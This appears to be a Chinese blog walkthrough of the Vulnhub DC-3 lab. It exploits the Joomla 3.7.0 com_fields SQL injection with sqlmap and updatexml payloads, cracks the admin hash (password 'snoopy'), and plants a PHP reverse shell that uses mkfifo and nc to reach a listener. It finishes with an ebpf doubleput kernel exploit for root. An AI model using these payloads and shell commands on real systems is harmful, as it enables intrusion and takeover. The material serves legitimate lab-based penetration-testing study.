Vulnhub之 DC-3 joomla注入和ubuntu16.04提权

it2022-05-05  134

Vulnhub靶机之DC-3

前言

刚考完试,然而不能放弃对技术的热爱,又重新拾起了dc准备把他们6个做完

今天介绍的是dc-3 ,来看看作者对他的评价

描述: DC-3是另一个专门建造的脆弱实验室,旨在获得渗透测试领域的经验。 与之前的DC版本一样,这个版本在设计时考虑了初学者,虽然这一次,只有一个标志,一个入口点,根本没有线索。 Linux技能和熟悉Linux命令行是必须的,基本渗透测试工具的一些经验也是必须的。 对于初学者来说,谷歌可以提供很大的帮助,但是你总是可以在@ DCAU7上给我发信息以获得帮助,让你再次前行。 但请注意:我不会给你答案,相反,我会告诉你如何前进。 对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花费你很长时间(实际上,你可能很容易花费不到20分钟)。 如果是这种情况,并且如果您希望它更具挑战性,您可以随时重做挑战并探索获得根并获得旗帜的其他方式

靶机环境

首先设置靶机为NAT模式,如果获取不到ip 删除网络适配器重新添加

ip地址:

kali: 192.168.31.225

DC-3: 192.168.31.19

开始复现

由于下载的靶机是vbox的使用的,在vmware上出现了一些小问题,所以耽搁了一点时间。

解决方法: vmware打开kali并且vbox打开DC-3 或者都使用vbox去打开

扫描网段

命令:nmap -sn 192.168.31.0/24

扫描端口

命令: nmap -sS 192.168.31.19

访问网站

url: http://192.168.31.19

指纹获取

看起来是joomla的cms,使用扫描工具跑一下

这里使用kali自带的扫描工具

命令: joomscan -u http://192.168.31.19

看来没有什么结果,在搜索的同时 ,我们尝试一些简单的操作,比如弱密码,sql注入,但是看起来情况不容乐观啥都没有,

扫描结果出来了,看看扫描到了版本信息,后台

版本信息: Joomla 3.7.0

后台目录: http://192.168.31.19/administrator/

查找相关漏洞

发现这个版本存在sql注入漏洞

接下来就是复现一下了

通过搜索发现可以注入获取到hash密码

参考链接: https://www.anquanke.com/post/id/86119

这里先借用工具试试: https://github.com/XiphosResearch/exploits/blob/master/Joomblah/joomblah.py

复制到本地,然后执行命令:python joomblah.py http://192.168.31.19

获取到user的信息

Found user ['629', 'admin', 'admin', 'freddy@norealaddress.net','$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu', '', '']

​ 手工注入

​ 获取hash 或者可以获取session来登录

​ 附上poc 参考链接: https://www.exploit-db.com/exploits/42033

​ using sqlmap

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

​ 1获取当前的用户

​ index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)

​ 也可以获取最近登录的session 这样也可以登录后台

​ 2 获取版本

​ index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,(version())),0)

​ XPATH syntax error: '>5.7.25-0ubuntu0.16.04.2'

​ 3 查数据库

​ index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,(database())),0)

​ XPATH syntax error: '>joomladb'

​ 其他的就不一一解释了

登录

破解hash值登录$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

爆破得到密码: snoopy

寻找上传点

反弹shell

写入代码

<?php system(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 1337 >/tmp/f’); ?>

kali 监听 获取shell

这里切记一定要在同一个网段下,虽然两个网段也能通信但是shell反弹失败

获取交互模式

python 'import pty;pty.spawn("/bin/bash")'

注意: 如果交互模式不成功,就换个文件名或者换个路径重新反弹交互shell

获取信息

获取版本信息

搜索相关系统漏洞尝试提权

参考: https://www.exploit-db.com/

然后我参照大佬的选用了本地拒绝服务漏洞提权

如果要复现漏洞需要检查版本,用户权限

将提权下载到本地,编译后,使用wget下载,这个下载了好久才下载好

之后就是按步骤走了

下载两个文件

tar xf exploit.tar cd ebpf_mapfd_doubleput_exploit ./compile.sh ./doubleput

提权成功

获取flag

结束语

​ 这次花费了大量的时间调试,对于各种问题的解决方式有待提高,今日份的靶机奉上,本靶机只适合学习不要将其中的技术用于其他途径。


最新回复(0)